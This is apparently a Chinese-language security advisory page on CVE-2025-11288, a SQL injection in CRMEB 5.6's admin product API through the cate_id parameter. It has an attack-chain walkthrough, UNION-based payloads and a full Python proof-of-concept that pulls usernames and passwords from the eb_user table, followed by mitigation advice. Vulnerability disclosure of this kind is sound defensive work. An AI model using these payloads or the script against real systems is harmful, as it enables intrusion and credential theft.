IPBUF安全漏洞报告
English
CVE-2025-11288 CVSS 6.3 中危

CVE-2025-11288:CRMEB 5.6版本SQL注入漏洞

披露日期: 2025-10-05

漏洞信息

漏洞编号
CVE-2025-11288
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CRMEB

相关标签

SQL注入CRMEBCVE-2025-11288电商系统PHPGET参数注入中危漏洞管理后台UNION注入已公开PoC

漏洞概述

CVE-2025-11288是CRMEB内容管理系统5.6及以下版本中存在的一个SQL注入安全漏洞。该漏洞位于/adminapi/product/product文件的GET参数处理器中,具体涉及cate_id参数的处理逻辑存在缺陷。攻击者可以通过精心构造的恶意SQL语句作为cate_id参数值,绕过应用程序的输入验证机制,直接与后端数据库进行交互。

CRMEB是一款基于PHP开发的开源电商系统,广泛应用于中小型企业的在线商城建设。由于其管理后台接口直接暴露SQL注入风险,攻击者一旦获得低权限管理员账号,即可利用此漏洞对数据库执行未授权的查询操作。

该漏洞的CVSS 3.1评分为6.3,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需低权限认证(PR:L),无需用户交互(UI:N)。成功利用该漏洞后,攻击者可获取数据库中的敏感信息(如用户凭证、订单数据、个人隐私等),甚至可能通过SQL注入进一步实现数据篡改或数据库操控,对系统的机密性、完整性和可用性均造成低程度的影响。

值得注意的是,该漏洞的利用代码已被公开发布到GitHub平台(coolcj-stack/CRMEB-V5.6-SQL-Injection),且供应商在漏洞披露前已被通知但未作出任何回应,这大大增加了漏洞被恶意利用的风险。

技术细节

该SQL注入漏洞的根因在于CRMEB 5.6版本的/adminapi/product/product接口在处理GET请求中的cate_id参数时,未对用户输入进行充分的过滤和参数化处理,而是直接将参数拼接到SQL查询语句中执行。

从技术层面分析,漏洞触发流程如下:
1. 应用程序接收HTTP GET请求,目标路径为/adminapi/product/product;
2. 请求中携带cate_id参数,该参数值未经过严格的类型检查或SQL关键字过滤;
3. 后端代码将该参数直接拼接到SQL查询的WHERE条件中,例如类似以下伪代码:SELECT * FROM products WHERE cate_id = [用户输入];
4. 攻击者可通过构造类似 cate_id=1' UNION SELECT username,password FROM admin-- 的恶意payload,实现UNION联合查询注入;
5. 数据库执行恶意构造的SQL语句,返回攻击者所需的敏感数据。

由于该接口属于管理后台API(adminapi),正常情况下需要管理员认证才能访问,因此攻击者需要先获取低权限的管理员凭证。但一旦获得认证,结合此注入漏洞,可实现权限提升和数据窃取的双重危害。漏洞利用难度较低,且已有公开的PoC代码可供使用,进一步降低了攻击门槛。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统是否使用CRMEB 5.6及以下版本,通过指纹识别或路径探测确认/adminapi/product/product接口的存在。
STEP 2
步骤2:获取低权限凭证
由于漏洞位于管理后台API,攻击者需要获取至少低权限的管理员账号凭证,可通过社会工程学、撞库或购买泄露凭证等方式获得。
STEP 3
步骤3:构造注入Payload
攻击者针对cate_id参数构造UNION联合查询注入payload,如1' UNION SELECT username,password FROM eb_user-- -,用于提取数据库中的管理员凭证。
STEP 4
步骤4:发送恶意请求
携带有效的管理员Session Cookie,向/adminapi/product/product接口发送包含恶意cate_id参数的GET请求,触发后端SQL注入。
STEP 5
步骤5:数据提取与利用
数据库执行恶意SQL语句后返回敏感数据,攻击者可获取管理员密码哈希、用户隐私信息等,进一步可进行权限提升或数据篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11288 - CRMEB V5.6 SQL Injection PoC # Vulnerable endpoint: /adminapi/product/product # Vulnerable parameter: cate_id (GET) # Author: coolcj-stack import requests # Target configuration TARGET_URL = "http://target-crmeb-site.com" ADMIN_API_PATH = "/adminapi/product/product" # Attacker credentials (low privilege required) SESSION_COOKIE = "your_admin_session_cookie_here" # SQL Injection payload via cate_id parameter # Exploits UNION-based injection to extract admin credentials INJECTION_PAYLOAD = "1' UNION SELECT id,username,password,'','','','','','','','','','','' FROM eb_user-- -" def exploit_sql_injection(): """ Exploit SQL injection in CRMEB V5.6 adminapi/product/product endpoint. The cate_id parameter is directly concatenated into SQL queries without sanitization. """ headers = { "Cookie": f"PHPSESSID={SESSION_COOKIE}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } params = { "cate_id": INJECTION_PAYLOAD, "page": "1", "limit": "20" } # Send malicious request to vulnerable endpoint response = requests.get( url=TARGET_URL + ADMIN_API_PATH, params=params, headers=headers ) if response.status_code == 200: print("[+] Injection successful!") print(f"[+] Response: {response.text}") # Parse and extract sensitive data from response return response.json() else: print(f"[-] Request failed with status code: {response.status_code}") return None def detect_injection(): """ Detection phase: verify the endpoint is vulnerable to SQL injection """ test_payloads = [ "1'", # Basic quote test "1' AND '1'='1", # Boolean true test "1' AND '1'='2", # Boolean false test ] headers = { "Cookie": f"PHPSESSID={SESSION_COOKIE}", } for payload in test_payloads: params = {"cate_id": payload} resp = requests.get( TARGET_URL + ADMIN_API_PATH, params=params, headers=headers ) print(f"[*] Testing payload: {payload}") print(f"[*] Response length: {len(resp.text)}") if __name__ == "__main__": print("[*] CVE-2025-11288 - CRMEB V5.6 SQL Injection Exploit") print("[*] Detecting vulnerability...") detect_injection() print("\n[*] Exploiting vulnerability...") exploit_sql_injection()

影响范围

CRMEB <= 5.6

防御指南

临时缓解措施
在官方发布修复补丁之前,建议采取以下临时缓解措施:1)限制/adminapi/product/product接口的访问权限,仅允许可信IP访问;2)部署WAF规则过滤针对cate_id参数的SQL注入攻击;3)对数据库中存储的敏感信息(如密码)进行加密哈希处理,即使数据被窃取也难以直接利用;4)监控异常的数据库查询日志,及时发现可疑的注入行为;5)强制重置所有管理员密码,防止已泄露凭证被用于攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表